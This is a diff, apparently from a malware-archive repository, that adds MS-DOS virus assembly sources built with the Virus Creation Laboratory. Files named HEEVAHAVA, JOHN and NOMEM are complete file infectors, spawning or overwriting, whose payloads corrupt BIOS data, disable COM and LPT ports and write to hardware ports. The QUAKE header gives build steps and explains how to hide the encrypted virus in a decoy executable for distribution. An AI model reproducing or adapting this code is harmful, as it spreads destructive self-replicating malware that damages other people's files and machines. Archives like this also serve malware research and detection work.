08Bh, 04Ch + db 016h, 08Bh, 054h, 018h, 0CDh, 021h, 0B4h, 03Eh + db 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh, 08Ah + db 04Ch, 015h, 08Dh, 054h, 01Eh, 0CDh, 021h, 080h + db 03Eh, 0F9h, 002h, 001h, 0C3h, 000h, 000h, 000h + db 000h, 000h, 0A0h, 0F9h, 002h, 098h, 0C3h, 007h + db 044h, 069h, 076h, 069h, 064h, 065h, 020h, 06Fh + db 076h, 065h, 072h, 066h, 06Ch, 06Fh, 077h, 00Dh + db 00Ah, 000h, 02Ah, 02Eh, 043h, 04Fh, 04Dh, 000h + db 05Bh, 056h, 043h, 04Ch, 05Dh, 000h, 044h, 04Fh + db 04Dh, 045h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vclheeva.asm b/MSDOS/Virus.MSDOS.Unknown.vclheeva.asm new file mode 100644 index 00000000..a13ef368 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclheeva.asm @@ -0,0 +1,296 @@ +; HEEVAHAV.ASM -- HEEVAHAVA VIRUS +; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM +; Written by URNST KOUCH +; This is a spawning virus I decided to take to the limit, +; to step on the accelerator of the VCL, so to speak. +; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt +; to infect almost 20 files anywhere on the disk every run. It will mess +; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2, +; nullify print screen and finally, when the disk is completely saturated +; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck +; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania +; Dutch pejorative. Colloquially, it was the name given to the farmhand +; given the job of holding the bull's pecker while semen was collected. + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + + mov ah,04Ah ; DOS resize memory function + mov bx,word ptr [finish - start / 0282h] ; BX holds # of para. + int 21h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + mov cx,0013h ; Do 19 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + mov dx,0064h ; First argument is 100 + push es ; Save ES + mov ax,040h ; Set extra segment to 040h + mov es,ax ; (ROM BIOS) + mov word ptr es:[013h],dx ; Store new RAM ammount + pop es ; Restore ES + + mov cx,0005h ; First argument is 5 + jcxz beep_end ; Exit if there are no beeps + mov ax,0E07h ; BIOS display char., BEL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 +beep_end: + + push es ; Save ES + mov ax,050h ; Set the extra segement to + mov es,ax ; the BIOS area + mov byte ptr es:[0000h],1 ; Set print screen flag to + pop es ; "printing," restore ES + + mov si,0001h ; First argument is 1 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 0407h]; Zero COM port address + xchg word ptr [si + 0407h],ax; Put first value in second, + mov word ptr [bx + 0407h],ax; and second value in first! + pop es ; Restore ES + + call infected_all + or ax,ax ; Did the function return zero? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +infected_all proc near +#if virus_type eq 0 + mov al,byte ptr [di + set_carry] + else + mov al,byte ptr [set_carry] ; AX holds success value +#endif + cbw ; Sign-extend AL into AX + ret ; Return to caller +infected_all endp + +data00 db 7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0 + +vcl_marker db "HEEVA[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main + diff --git a/MSDOS/Virus.MSDOS.Unknown.vclmcyel.asm b/MSDOS/Virus.MSDOS.Unknown.vclmcyel.asm new file mode 100644 index 00000000..32e61122 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclmcyel.asm @@ -0,0 +1,286 @@ +; JOHN.ASM -- For John Boy! +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Pentagrame + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: or di,0 + xchg di,ax + + mov cx,0004h ; Do 4 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + mov si,offset data00 ; SI points to data + mov cx,03B3h ; Second argument is 947 + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + +search_files proc near + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a file + jnc done_searching ; If successful then exit +done_searching: ret ; Return to caller + +exe_mask db "*.EXE",0 ; Mask for all .EXE files +com_mask db "*.COM",0 ; Mask for all .COM files + +search_files endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + lea dx,[bp - 128] ; DX points to buffer + mov ah,01Ah ; DOS set DTA function + int 021h + + mov cx,00100111b ; CX holds all file attributes + mov ah,04Eh ; DOS find first file function + + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov cx,4 ; CX holds bytes to read (4) + mov ah,03Fh ; DOS read from file function + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov cx,4 ; CX holds number of bytes (4) + mov di,offset flag ; DI points to virus flag + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +data00: ; TheDraw Assembler Crunched Screen Image + + IMAGEDATA_WIDTH EQU 80 + IMAGEDATA_DEPTH EQU 25 + IMAGEDATA_LENGTH EQU 947 + IMAGEDATA LABEL BYTE + DB 15,16,24,24,24,25,2,20,25,'I',24,16,25,2,23,' ',16,25 + DB 'G',23,' ',24,16,25,2,20,' ',14,27,'',16,25,2,20,'' + DB '',16,' ',20,'',26,6,'',16,25,2,20,'',26,6,'' + DB '',16,' ',20,'',26,8,'',16,' ',20,'',26,8,'',16 + DB ' ',20,'',26,8,'',24,16,25,2,23,' ',20,26,4,'',26 + DB 4,'',16,' ',20,26,3,'',16,' ',20,'',16,' ',20 + DB 26,3,'',26,3,'',16,' ',20,26,3,'',16,25,3,20,'' + DB '',16,' ',20,26,3,'',16,25,3,20,'',16,' ',20,26 + DB 3,'',16,25,3,20,'',16,' ',23,' ',24,16,25,2,23,' ' + DB 20,26,10,'',16,' ',20,26,3,'',16,25,7,20,26,3,'' + DB '',26,3,'',16,' ',20,26,3,'',26,3,'',16,25,3,20,26 + DB 3,'',26,4,'',16,25,2,20,26,3,'',26,4,'',16,25,2,23 + DB ' ',24,16,25,2,20,' ',26,3,'',16,' ',20,'',16,' ',20 + DB 26,3,'',16,' ',20,26,3,'',16,25,7,20,26,10,'',16,' ' + DB 20,26,3,'',26,3,'',16,25,3,20,26,3,'',26,4,'',16,25 + DB 2,20,26,3,'',26,4,'',16,25,2,20,' ',24,16,25,2,23,' ' + DB 20,26,3,'',16,25,2,20,26,3,'',16,' ',20,26,3,'',16 + DB ' ',20,'',16,' ',20,26,3,'',16,25,2,20,26,3,'' + DB 16,' ',20,26,3,'',16,25,7,20,26,3,'',16,25,3,20,'' + DB '',16,' ',20,26,3,'',16,25,3,20,'',16,' ',23,' ' + DB 24,16,25,2,23,' ',20,'',16,25,2,20,'',16,' ' + DB 20,'',26,6,'',16,' ',20,'',16,25,2,20,'',16 + DB ' ',20,'',16,25,7,20,'',26,8,'',16,' ',20,'',26 + DB 8,'',16,' ',23,' ',24,16,25,2,20,' ',16,25,'G',20,' ' + DB 24,16,25,2,23,' ',16,' ',20,'',16,25,2,20,'',26,6 + DB '',16,25,4,20,'',26,6,'',16,25,3,20,'',26,8,'' + DB '',16,' ',20,'',26,6,'',16,25,2,20,'',26,7,'' + DB 16,25,2,23,' ',24,16,25,2,20,' ',26,4,'',16,' ',20,26 + DB 3,'',16,' ',20,'',26,3,'',16,25,2,20,26,3,'',26 + DB 3,'',16,25,2,20,26,3,'',16,25,3,20,'',16,' ',20,26 + DB 3,'',26,3,'',16,' ',20,26,3,'',16,25,2,20,'' + DB '',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'',16,' ' + DB 20,'',26,4,'',16,25,5,20,26,3,'',26,3,'',16,25 + DB 2,20,26,3,'',26,3,'',16,25,3,20,26,3,'',26,3,'' + DB 16,' ',20,26,3,'',16,' ',20,26,3,'',16,25,3,20,' ' + DB 24,16,25,2,23,' ',20,26,4,'',16,25,3,20,'',26,4,'' + DB '',16,25,2,20,26,10,'',16,25,2,20,26,3,'',26,3,'' + DB 16,25,3,20,26,10,'',16,' ',20,26,3,'',16,' ',20,'' + DB '',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'',16 + DB ' ',20,26,3,'',16,' ',20,'',26,3,'',16,25,2,20,26 + DB 3,'',16,25,2,20,26,3,'',16,25,2,20,26,3,'',16,25,7 + DB 20,26,3,'',16,25,2,20,26,3,'',16,' ',20,26,4,'' + DB '',16,25,2,23,' ',24,16,25,2,20,' ',16,' ',20,'' + DB '',16,25,2,20,'',26,6,'',16,25,3,20,'',16,25,2 + DB 20,'',16,25,2,20,'',16,25,7,20,'',16,25,2 + DB 20,'',16,' ',20,'',26,7,'',16,25,2,20,' ',24,16 + DB 25,2,23,' ',16,25,'G',23,' ',24,16,25,2,23,' ',16,25,'G' + DB 23,' ',24,16,25,2,20,' ',16,25,'G',20,' ',24,16,25,2,23 + DB ' ',16,25,'G',23,' ',24,16,25,2,20,25,'I',24,24,24 + + + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vclnomem.asm b/MSDOS/Virus.MSDOS.Unknown.vclnomem.asm new file mode 100644 index 00000000..ce3fe5da --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclnomem.asm @@ -0,0 +1,344 @@ +; NOMEM.ASM -- NoMem +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Frankenchrist + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + mov cx,0007h ; Do 7 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_second + cmp ax,0014h ; Did the function return 20? + jg skip00 ; If greater, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + call display_string +end00: call get_second + cmp ax,0014h ; Did the function return 20? + jl skip01 ; If less, skip effect + cmp ax,0028h ; Did the function return 40? + jg skip01 ; If greater, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: mov si,offset data01 ; SI points to data + call display_string +end01: call get_second + cmp ax,0028h ; Did the function return 40? + jl skip02 ; If less, skip effect + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: mov si,offset data02 ; SI points to data + call display_string +end02: call infected_all + or ax,ax ; Did the function return zero? + jne skip03 ; If not equal, skip effect + jmp short strt03 ; Success -- skip jump +skip03: jmp end03 ; Skip the routine +strt03: mov cx,0005h ; First argument is 5 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + mov ah,0Fh ; BIOS get video mode function + int 010h + xor ah,ah ; BIOS set video mode function + int 010h + +end03: call infected_all + or ax,ax ; Did the function return zero? + jne skip04 ; If not equal, skip effect + call get_minute + cmp ax,000Ch ; Did the function return 12? + jl skip04 ; If less, skip effect + jmp short strt04 ; Success -- skip jump +skip04: jmp end04 ; Skip the routine +strt04: xor ah,ah ; BIOS get time function + int 1Ah + xchg dx,ax ; AX holds low word of timer + mov dx,0FFh ; Start with port 255 +out_loop: out dx,al ; OUT a value to the port + dec dx ; Do the next port + jne out_loop ; Repeat until DX = 0 + +end04: pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +display_string proc near + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + ret ; Return to caller +display_string endp + +get_minute proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,cl ; Copy minute into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_minute endp + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + +infected_all proc near +if virus_type eq 0 + mov al,byte ptr [di + set_carry] +else + mov al,byte ptr [set_carry] ; AX holds success value +endif + cbw ; Sign-extend AL into AX + ret ; Return to caller +infected_all endp + +data00 db "Not enough memory",13,10,0 + + +data01 db "Out of memory",13,10,0 + + +data02 db "Not enough free memory.",13,10,0 + + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vclquake.asm b/MSDOS/Virus.MSDOS.Unknown.vclquake.asm new file mode 100644 index 00000000..35890e5b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclquake.asm @@ -0,0 +1,715 @@ +; ----------------------------------------------------------------------------- +; QUAKE.ASM +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; +; Heavily modified VCL and Original Code by the best Bleeding Edge virus +; writer: Night Breeze. See you all in fuckin' HELL! +; +; This is a "spawning" virus and, technically, a trojan horse. First time it +; is run, it will do the earthquake thing - but only after infecting another +; file first! When the infected file is executed (in it's directory) then it +; will infect another file and run the app. Then, when all files on that drive +; are infected, it will again do the earthquake thing! +; +; Build instructions: +; +; Assemble QUAKE.ASM to QUAKE.COM +; d:\tasm\tasm /mx /m2 /q /t quake +; link quake; +; exe2bin quake.exe quake.com +; +; Run QUAKE.COM and file the infected file... +; Find file +; ATTRIB *.COM -r -h +; +; Get a copy of that file as it is encrypted... +; COPY filename.COM \mydir\TEMP.COM +; +; Compile QINJECT.PAS +; +; Cat the two files: +; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites) +; +; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the +; user types or debugs the program, will see the strings. The REAL virus +; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file). +; +; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all +; the victim to see an apparently good program - although he is getting +; fucked :) +; +; +; If all that was too hard... just distribute the enclosed EARTH.EXE program:) +; +; ----------------------------------------------------------------------------- +code segment byte public + assume cs:code,ds:code,es:code,ss:code + 